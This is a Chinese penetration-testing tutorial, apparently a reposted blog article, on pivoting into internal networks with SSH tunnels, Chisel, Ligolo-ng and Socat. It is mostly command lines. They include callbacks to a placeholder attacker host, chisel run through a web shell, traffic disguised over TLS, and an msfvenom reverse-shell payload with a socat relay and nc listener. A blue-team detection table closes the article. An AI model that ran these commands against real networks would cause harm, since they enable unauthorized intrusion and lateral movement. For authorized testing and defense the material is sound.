文章总结: 本文系统讲解了内网穿透实战技术,重点对比了SSH隧道、Chisel、Ligolo-ng及Socat四种工具的原理与用法。文章详细演示了端口转发、SOCKS代理及透明隧道的具体命令配置,并针对多层内网、受限环境等场景给出工具选型建议。核心结论推荐Ligolo-ng作为多目标内网渗透首选工具,因其透明代理特性极大提升了操作便捷性,同时提供了蓝队防御视角的检测思路。 综合评分: 88 文章分类: 内网渗透,渗透测试,红队,实战经验,安全工具
[技术深浅] SSH隧道与内网穿透实战
原创
丘驰 丘驰
极客零零七
2026年3月4日 17:16 加拿大
声明:本文内容仅用于授权渗透测试和安全研究,所有示例基于合法靶机平台。
引言:隧道是内网渗透的命脉
打HTB Pro Labs 的第一天,我在网络拓扑图前傻了——三层内网,每一层之间都有防火墙。拿到第一台跳板机之后,完全不知道怎么把流量送进去。
这就是内网穿透的核心场景:攻击机和目标之间隔着防火墙、NAT、甚至多层隔离网络。没有隧道,拿到跳板机也等于拿了个废品。
内网穿透工具很多,SSH 原生隧道、Chisel、Ligolo-ng、Socat,各有适用场景。这篇文章把这几种工具的原理和用法系统整理,覆盖你在实战中会遇到的绝大多数场景。
一、基础概念:隧道是什么
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
典型场景:攻击机(10.10.14.x) ↕ 只有这一段可达 边界服务器/跳板机(192.168.1.50,双网卡) ↕ 内网,攻击机不可达 内网服务器(192.168.1.100)
没有隧道:攻击机无法直接与内网服务器通信有了隧道:通过跳板机做"中继",流量穿透到内网
三种技术类型:
| 技术 | 用途 | 代表工具 | | — | — | — | | 端口转发 | 访问内网某个特定端口 | SSH -L/-R, socat | | SOCKS 代理 | 通过代理访问内网任意目标 | SSH -D, Chisel | | 透明隧道 | 像身处内网一样,直接用任何工具 | Ligolo-ng(最推荐) |
二、SSH 隧道(有 SSH 访问时首选)
SSH 内置三种隧道模式,不需要额外工具,稳定可靠。
2.1 本地端口转发(-L):访问内网特定服务
语法:ssh -L <本地端口>:<目标IP>:<目标端口> user@跳板机
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
# 场景:通过跳板机访问内网的 Web 管理后台(192.168.1.100:8443)ssh -L 8443:192.168.1.100:8443 user@jump_host# 然后在攻击机浏览器访问:https://localhost:8443
# 场景:访问内网 RDPssh -L 13389:192.168.1.100:3389 user@jump_host# xfreerdp /v:localhost:13389 /u:admin /p:password
# 同时转发多个端口ssh -L 8080:192.168.1.100:80 -L 13389:192.168.1.100:3389 user@jump_host
# 后台运行(不执行命令,只保持转发)ssh -f -N -L 8443:192.168.1.100:8443 user@jump_host
2.2 动态端口转发(-D):SOCKS 代理访问多目标
语法:ssh -D <本地端口> user@跳板机
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
# 建立 SOCKS5 代理ssh -D 1080 user@jump_host -N -f
# 配置 proxychains(/etc/proxychains4.conf 末尾添加)socks5 127.0.0.1 1080
# 通过代理扫描内网proxychains nmap -sT -p 22,80,443,8080 192.168.1.0/24proxychains crackmapexec smb 192.168.1.0/24proxychains curl http://192.168.1.100
2.3 远程端口转发(-R):反向隧道(目标在 NAT 后)
语法:ssh -R <攻击机端口>:<本地IP>:<本地端口> user@攻击机(在目标机上执行)
- 1
- 2
- 3
- 4
# 场景:目标机在内网无法直接被访问,建立反向连接# 目标机上执行(把 3389 暴露给攻击机的 13389)ssh -R 13389:localhost:3389 user@<ATTACKER_IP># 攻击机:xfreerdp /v:localhost:13389 /u:admin
2.4 多跳隧道(-J ProxyJump)
- 1
- 2
- 3
- 4
- 5
# 通过 jump1 再跳到 jump2,最终访问 targetssh -J user1@jump1 -L 8080:192.168.2.100:80 user2@jump2
# 多跳 SOCKS 代理ssh -J user1@jump1,user2@jump2 -D 1080 user3@target
三、Chisel:HTTP 隧道,穿越防火墙神器
适用场景:目标只开放了 80/443 等 Web 端口,无法直接建立 SSH 隧道。
Chisel 把流量封装在 HTTP/HTTPS 请求中,伪装成正常 Web 流量穿越防火墙。
安装
- 1
- 2
- 3
# 从 GitHub Releases 下载对应平台版本# github.com/jpillora/chisel/releases# 需要两个文件:chisel(攻击机/Linux)和 chisel_windows_amd64.exe(Windows目标)
最常用配置:反向 SOCKS 代理
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
# 攻击机(服务端)— 先启动./chisel server -p 8080 --reverse --socks5
# 跳板机(客户端)— 执行后连接攻击机./chisel client <ATTACKER_IP>:8080 R:1080:socks# 现在攻击机的 1080 端口是 SOCKS5 代理,流量通过跳板机进内网
# proxychains 配置同 SSH -Dproxychains nmap -sT 192.168.1.0/24
特定端口转发
- 1
- 2
- 3
- 4
- 5
- 6
# 攻击机./chisel server -p 8080 --reverse
# 跳板机(把内网 RDP 暴露到攻击机的 13389)./chisel client <ATTACKER_IP>:8080 R:13389:192.168.1.100:3389# 攻击机:xfreerdp /v:localhost:13389 /u:admin
伪装成合法流量
- 1
- 2
- 3
# 走 443 端口 + TLS(最隐蔽)./chisel server -p 443 --tls-skip-verify --reverse./chisel client --tls-skip-verify https://<ATTACKER_IP>:443 R:socks
只有 Web Shell 时的使用方式
- 1
- 2
- 3
- 4
- 5
# 通过 Web Shell 上传 chisel 后执行(后台运行)# Web Shell 中执行:./chisel client <ATTACKER_IP>:8080 R:socks &# 或 Windows:start /B chisel_windows_amd64.exe client <ATTACKER_IP>:8080 R:socks
四、Ligolo-ng:透明代理,最推荐
Ligolo-ng 是我目前最常用的内网穿透工具。
它的核心优势:创建一个 TUN 虚拟网卡,直接把内网路由到攻击机。不需要 proxychains,任何工具都可以直接访问内网 IP,就像真正在内网一样。
安装
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
# 下载(两个文件)# github.com/nicocha30/ligolo-ng/releases# proxy → 攻击机运行# agent → 跳板机/目标机运行
# 攻击机:创建 TUN 虚拟网卡sudo ip tuntap add user $USER mode tun ligolosudo ip link set ligolo up
建立隧道(标准流程)
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
# 第一步:攻击机启动 proxysudo ./proxy -selfcert -laddr 0.0.0.0:11601
# 第二步:跳板机上传并运行 agent./agent -connect <ATTACKER_IP>:11601 -ignore-cert# Windows 跳板机:./agent_windows_amd64.exe -connect <ATTACKER_IP>:11601 -ignore-cert
# 第三步:攻击机控制台(proxy 界面)ligolo-ng » session # 查看连接的 agent(选对应编号)ligolo-ng [session] » ifconfig # 查看跳板机网卡,找内网网段 # 比如找到 192.168.1.0/24
# 第四步:攻击机添加路由sudo ip route add 192.168.1.0/24 dev ligolo
# 第五步:启动隧道ligolo-ng [session] » start
使用(无需 proxychains!)
- 1
- 2
- 3
- 4
- 5
- 6
# 直接访问内网,完全透明!nmap -sV 192.168.1.100 # 直接扫描内网curl http://192.168.1.100 # 直接访问 Webssh [email protected] # 直接 SSHevil-winrm -i 192.168.1.100 # 直接 WinRMcrackmapexec smb 192.168.1.0/24 # 直接 CME
多层内网(套娃)
- 1
- 2
- 3
- 4
- 5
# 已经进入第一层内网,继续穿透到第二层(比如 10.10.10.0/24)# 在第一层跳板机上运行 agent,连接到攻击机# 攻击机添加第二层路由sudo ip route add 10.10.10.0/24 dev ligolo# Ligolo-ng 支持多个 session,每个对应不同内网网段
五、Socat:轻量级端口转发
Socat 适合临时、快速的端口转发,特别是目标机上无法运行其他工具时。
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
# 把本机 8080 转发到内网 192.168.1.100:80socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80
# 后台运行socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80 &
# Windows(需要 socat.exe)socat.exe TCP-LISTEN:8080,fork TCP:192.168.1.100:80
配合 Payload 使用:内网机器反弹 shell 无法直接连到攻击机时,让 socat 在跳板机上做中继:
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
# 跳板机执行socat TCP-LISTEN:4444,fork TCP:<ATTACKER_IP>:4444
# Payload 的 LHOST 设为跳板机 IPmsfvenom -p windows/x64/shell_reverse_tcp LHOST=<JUMP_IP> LPORT=4444 -f exe > shell.exe
# 攻击机监听nc -lvnp 4444
六、工具选型速查表
| 场景 | 推荐工具 | 原因 |
| — | — | — |
| 有 SSH 访问权,访问内网某个端口 | ssh -L | 无需额外工具,稳定 |
| 有 SSH 访问权,需访问多个内网目标 | ssh -D + proxychains | 灵活,SOCKS 代理覆盖广 |
| 目标在 NAT 后无法直连 | ssh -R | 反向隧道建立连接 |
| 目标只开放 Web 端口 | Chisel | HTTP 隧道穿防火墙 |
| 需要访问多个内网目标且不想用 proxychains | Ligolo-ng | 透明代理,最方便 |
| 临时转发单个端口,无需安装工具 | socat | 一行命令搞定 |
| 只有 Web Shell | Chisel(后台) | 轻量,HTTP 传输 |
七、实战场景速查
场景 1:通过跳板机访问内网 Web 管理后台
- 1
- 2
ssh -L 8443:192.168.1.100:8443 user@jump -N -f# 浏览器:https://localhost:8443
场景 2:内网 RDP 横向移动
- 1
- 2
ssh -L 13389:192.168.1.200:3389 user@jump -N -fxfreerdp /v:localhost:13389 /u:administrator /p:password
场景 3:只有 Web Shell,需要访问内网多个目标
- 1
- 2
- 3
- 4
# 上传 chisel,Web Shell 中执行./chisel client <ATTACKER_IP>:8080 R:socks &# 攻击机:./chisel server -p 8080 --reverse# proxychains 访问内网
场景 4:Pro Labs / 多层内网
- 1
- 2
- 3
# 每层都用 Ligolo-ng agent,攻击机管理多个 session# sudo ip route add 10.10.10.0/24 dev ligolo # 每层添加路由# 无需 proxychains,直接访问任何内网 IP
场景 5:Payload 反弹经过跳板机
- 1
- 2
- 3
- 4
# 跳板机做流量中继socat TCP-LISTEN:4444,fork TCP:<ATTACKER_IP>:4444# Payload LHOST = 跳板机 IP# nc -lvnp 4444 在攻击机监听
蓝队视角:如何检测和防御隧道
| 攻击技术 | 检测 | 防御 | | — | — | — | | SSH 隧道 | 监控异常 SSH 连接;检测 AllowTcpForwarding 使用 | 禁用 GatewayPorts;限制端口转发 | | Chisel(HTTP 隧道) | 监控长连接 HTTP 请求;流量分析异常 | 深度包检测(DPI);HTTP 代理审计 | | Ligolo-ng | 检测 TUN 接口创建;监控异常进程 | EDR 检测;禁止用户创建 TUN 接口 | | DNS 隧道 | 监控异常 DNS 查询频率和包大小 | DNS 防火墙;限制直接 DNS 出站 |
关键收获
- Ligolo-ng 是多目标内网渗透的首选:透明代理,无需 proxychains,任何工具直接用,大幅提升效率。
- Chisel 是穿防火墙的利器:只要目标出向能连 HTTP/HTTPS,就能建立隧道,适用于绝大多数企业网络。
- SSH -D + proxychains 是最简单的入门配置:有 SSH 访问权时的默认选择,不需要上传任何工具。
回复
隧道获取内网穿透工具速查手册 PDF(含 Ligolo-ng 完整配置流程)关注「极客零零七」,每周实战攻防干货
参考资料
- https://github.com/nicocha30/ligolo-ng
- https://github.com/jpillora/chisel
- https://book.hacktricks.xyz/generic-methodologies-and-resources/tunneling-and-port-forwarding
- https://github.com/rofl0r/proxychains-ng
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:极客零零七 丘驰 丘驰《[技术深浅] SSH隧道与内网穿透实战》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。


![[技术深浅]SSH隧道与内网穿透实战](/images/random/titlepic/12.jpg)







评论